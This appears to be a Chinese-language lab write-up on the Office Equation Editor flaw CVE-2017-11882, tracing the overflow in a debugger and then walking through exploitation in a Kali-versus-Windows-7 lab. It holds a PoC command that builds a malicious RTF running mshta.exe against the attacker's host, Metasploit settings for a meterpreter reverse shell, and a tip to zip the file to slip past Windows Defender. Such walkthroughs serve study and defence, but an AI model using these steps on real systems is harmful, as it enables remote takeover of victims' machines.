天天看点

Microsoft Office公式编辑器(CVE-2017-11882)漏洞分析报告0x01 漏洞环境0x02 漏洞成因0x03 影响漏洞版本0x04 分析过程0x05 利用过程0x06 生成攻击文件0x07 结果

文章目录

  • 0x01 漏洞环境
  • 0x02 漏洞成因
  • 0x03 影响漏洞版本
  • 0x04 分析过程
    • 漏洞溢出点
    • 动态分析
  • 0x05 利用过程
    • 弹出网页
    • msf配置
    • 攻击方和被攻击方进行通讯
    • 攻击pc445端口
  • 0x06 生成攻击文件
    • msf
    • 开始攻击
  • 0x07 结果

0x01 漏洞环境

Kali Linux 2017.03 + Windows 7 + Office 2016

渗透机:Kali Linux + POC代码

靶机:Win7 + Office 2016

EQNEDT32.EXE实际上是一个com组件,是一个标准的接口,com组件:会实现一些接口,Windows下特殊exe实现了一些接口是让其他exe调用的接口,用python的rtfobg这个组件进行查看,需要在python中安装ole这个库要用xp因为win7下找不到好的jmp esp

0x02 漏洞成因

如果样本弹出了计算器,那么一定会存在打开进程的API,常见API有这几个:

① WinExec

② ShellExecute

③ CreateProcess

样本运行结果

查看这个计算机是什么进程调用的,是office2003的计算公式调用的

0x03 影响漏洞版本

Microsoft Office 2000

Microsoft Office 2003

Microsoft Office 2007 Service Pack 3

Microsoft Office 2010 Service Pack 2

Microsoft Office 2013 Service Pack 1

Microsoft Office 2016

0x04 分析过程

漏洞溢出点

用od附加这个进程CreateProcessA下断点,,cmd.exe是用命令行启动个计算器,

栈中往上拉,call 创建进程时返回地址来自kernel32因此不是CreateProcessA启动的,因此查看k是WinExec这个启动的,也就是在溢出时执行的是WinExec,,,因此堆栈可能被破坏的因此要对WinExec下断点

##定位漏洞函数

414141和430c18是自己构造的,430c18是返回地址,往上拉看到gid,41160f断点

断点下好后,数据窗口中跟随查看12f1b8-12f1cc这里面什么时候变成41

覆盖的指令

动态分析

0x05 利用过程

弹出网页

漏洞利用的步骤

  1. 定立目标:弹出一个网页

    2.编写 shellcode修改样本中的执行字符串改为cmd.exe /c explorer.exe http://www.15pb.co

    3.处理好的字符串:636D642E657865202F63206578706C6F7265722E65786520687474703A2F2F7777772E313570622E636F0D0A进行样本的覆盖

    4、或者进行od的动态修改:要在这个函数出来时候进行修改

msf配置

①更新 Metasploit

结果:apt update; apt install metasploit-framework

②启动msf

启动 msf:进入msf:msfconsole,也就是大msf按table补全

③安装所需模块

cve-2017-11882.rb这个模块拷贝到指定文件夹中cd cve-2017-11882.rb /usr/share/metasploitframework/modules/exploits/windows/fileformat

如果命令拷贝不成功,则进行手动拷贝

④重启

模块拷贝成功需要重新启动msf,要不这个模块无法生效

##攻击PC环境

cve-2017-11882这个模块适合win7 32位的操作系统,smb_ms_170这个模块适合win7 64位操作系统,实验用于win7 32位操作系统,也就是cve-2017-11882这个模块

##查看ip

查看kail的ip:重亲打开个终端ifconfig 出来ip是192.168.0.200

查看win7的ip,Win7要把防火墙关掉:

192.168.0.176

攻击方和被攻击方进行通讯

首先要在同一个网段上,kail:192.168.0.200,,,查看win7的ip,Win7要把防火墙关掉:

192.168.0.176 看这俩个机器是否能ping通,,在kail上ping 192.168.0.176,在Win7上ping 192.168.0.200

kail在新打开的终端上进行ping

攻击pc445端口

win7 32位操作系统的445端口是否打开netstat -ano -p tcp | find “445” >nul 2>nul && echo 445

netstat -an 或者是netstat -ano

0x06 生成攻击文件

桌面除了rb还有pyth脚本,pryth是这条指令写进去

下边命令ip是kail

python CVE-2017-11882.py -c “mshta.exe http://192.168.0.200:8080/11882” -o 1.rtf ,,, -c是要输出的指令,1.rtf是生成的

右键1.rtf压缩这个文件夹要不就给杀掉,windows defat,1.rtf拷贝到Win7下的双击

将压缩好的1.zip拷贝到真机,拷贝到要攻击的pc上,

msf

search 漏洞利用模块命令: search cve-2017-11882

使用对应漏洞利用模块

use exploit/windows/fileformat/cve-2017-11882

设置漏洞利用信息

包括 payload 类型、IP、端口等set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.200(Kail 系统的 IP)

set lport 4444

set uripath 11882 设置路径访问时候192.168.0.95:8080/11882这样进行访问的

show options(显示必要设置的选项,查看有无漏

开始攻击

Exploit/run,等待后门程序回连,然后攻击的pc要打开1.rtf

Microsoft Office公式编辑器(CVE-2017-11882)漏洞分析报告0x01 漏洞环境0x02 漏洞成因0x03 影响漏洞版本0x04 分析过程0x05 利用过程0x06 生成攻击文件0x07 结果

0x07 结果

Microsoft Office公式编辑器(CVE-2017-11882)漏洞分析报告0x01 漏洞环境0x02 漏洞成因0x03 影响漏洞版本0x04 分析过程0x05 利用过程0x06 生成攻击文件0x07 结果
Microsoft Office公式编辑器(CVE-2017-11882)漏洞分析报告0x01 漏洞环境0x02 漏洞成因0x03 影响漏洞版本0x04 分析过程0x05 利用过程0x06 生成攻击文件0x07 结果

# 0x07 参考文献

[1]《高端调试》张银奎 著

[2]《0day安全:软件漏洞分析技术(第2版)》 王清 著

继续阅读